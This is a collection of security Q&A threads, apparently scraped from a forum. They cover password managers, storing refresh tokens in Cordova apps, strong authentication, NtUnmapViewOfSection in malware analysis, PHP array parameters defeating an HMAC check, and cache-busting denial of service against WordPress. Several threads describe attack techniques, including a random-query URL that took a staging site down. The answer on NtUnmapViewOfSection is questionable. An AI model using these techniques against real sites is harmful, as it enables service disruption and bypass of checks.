I would highly recommend using a variant of KeePass. I use KeePassX, it will allow you to keep a local repository of all of your passwords and sensitive information encrypted and accessible to all of your team members.

I have been using KeePassX at work for about a year now and have had no complaints.


Cordova/Phonegap: RefreshToken in localstorage I am (partly) following a tutorial to develop a cordova app, based on angularJS. The author stores the refresh token in local storage, which was said to be very bad practice in one of the comments on that same tutorial. This is confirmed in another stackexchange question. Best practice is then to store the refresh token in a secure HttpOnly cookie.  OWASP also mentions this as a guideline, and again they argue to use cookies, which is not possible in a native app.

Now, I can see why it is bad practice when the app is available through the browser, but if I 'phonegap' the app (so that it becomes a native one) is it then also still bad practice to store the refresh token in local storage?

If so, where should I store the refresh token then, as cookies do not exist in 'native' apps?

Well, according to PhoneGap/Cordova security guide it seems that localstorage is not recommend to store sensitive data.  So what you can do?

Well, here are two options I think you can use.

1- Encrypt the refresh token and store it encrypted in the localstorage. You can use CryptoJS (a JS library to encrypt/decrypt the data) to encrypt your token using AES (see this example) and it also has an angularjs module

2- You can store your refresh token on the device/phone file system using the Cordova File APIs. For extra level of security you can encrypt the data and store it on the device file system. Note on android you will be limited to AES 128 bit key size but using some third party plugin you can increase it to 256.


"Strong Authentication" - Multi-factor authentication vs multiple of the same factor authentication I have a debate with a colleague about using the same kind of authentication factor twice (like using two passwords).
My question is if it falls under the definition of "strong authentication".

I know that most of you will say that 2 factor authentication is much better than using the same kind of factor, but as I am reviewing it against a contract that specifies "Strong authentication" (and not 2FA), I wanted to know if you think it is can be considered as strong authentication.

Needless to say that we are talking about two sets of UIDs and passwords.

If the contract calls for "strong authentication" I think that's open to interpretation. It also depends on the type of information you're protecting and how that information is being accessed. My bank for instance, doesn't require two factor authentication to access my money, only a strong password.

To answer your question, I don't think requiring two sets of usernames and passwords is any more secure than just one. The benefit of true two factor authentication is that if one factor is compromised, the other most likely isn't. Having two usernames and passwords is pointless if a users desktop is compromised.


When NtUnmapViewOfSection is called? I'm analyzing an executable and I see that it created a process child and within it there was a call to NtUnmapViewOfSection. I know that this method is almost always malicious and can be used for process hollowing for example.

I want to know if there's a good reason to see this method called while analyzing an executable in sandbox (in my case Cuckoo Sandbox)? Or I can be sure that there was a malicious activity?

Thanks in advance.

NtUnmapViewOfSection (and the corresponding NtMapViewOfSection) are function calls used by Windows kernel-mode drivers to manage shared memory.  These functions can be used to share memory between kernel space and user space: for example, a driver could use them to communicate with a user-space configuration tool.


Array in HTTP GET/POST requests In PHP server programming, URL-encoded GET/POST requests are parsed into associative "array" type upon receiving. For most of the time, query arguments can be assumed to be strings, however sometimes certain query arguments are parsed into nested arrays.

For example:

query.php?a=123&b[]=456&b[]=789

is parsed as

[ 'a'=>"123", 'b'=>["456","789"] ]

As many functions in PHP are fault-tolerant in extremely unexpected ways, I'd like to ask the expertise of this site: is it generally acceptable to outright reject non-string queries, avoiding them as much as possible, and use query parameter prefixes instead?

Also, what are the some recommended programming practices in this regard?

Reason for asking

Recently, I saw a youtube video, where someone used a home-grown crypto scheme to verify client-controlled shell command. It used a nonce in POST argument to hmac with the command string. When the nonce is array, the hmac function verbosely succeeds and security is bypassed. It originates from a twitter image that says roughly says "this PHP code contains a deadly bug".

Update

In essence, I've wanted to ask, what are the general 'sane' patterns of query string. Since this would be too broad and mostly opinion based, it should only be included as side notes in answers.

You are the author of the website or otherwise server-side code — you get to decide what is a valid query string or not. Why would you concern yourself about what is acceptable? Your first responsibility is to design your API to behave as expected and be secure, not to offer « courtesy » in accepting any kind of input. Regular users are on the contrary keen to know how you defined the API, and adversaries are keen to know what you are missing.

It is perfectly acceptable, and even it is a strong requirement to validate user input, always. The video explains a problem with a bug, in that the author of the snippet did not defend against an unexpected behaviour of PHP. A string was expected and an array was passed, input was not validated, problem occurs.

Best practices always include that if you are taking input from external sources, you must validate, sanitise or otherwise verify it before doing anything with it, according to the rules you have set for your API.

P.S.: for those interested, this is the video referred to by OP: video


Content management url security I manage a website that is a "bad magnet" for our competitors.
I am using Incapsula CDN + WAF and I have internal proxy for caching.

CMS/WP from its nature is very data consuming, I have check that, and on every page there can be more than 80 queries to the mysql just to render a single page that is not cached.

The problem is that  with jmeter or a simple script you can request a page that is not cached every millisecond, this will query the database 8,000,000 times in one minute and remove the site after less than very short time.
Since all the caching systems / proxies are based on url, asking random url that is not cached is very simple. http://www.example.com/?random=256966512564216456 .
This is how I actually made my site go down in the staging environment.

Is there any http proxy / security product that knows how to deal with these kind of attacks?

My system is WordPress installed on nginX on CENTOS.

Thanks

Contact Incapsula's support, they will help you set up a rule that prevent scripts/headless browsers from requesting random URLs. it can be easily done using their system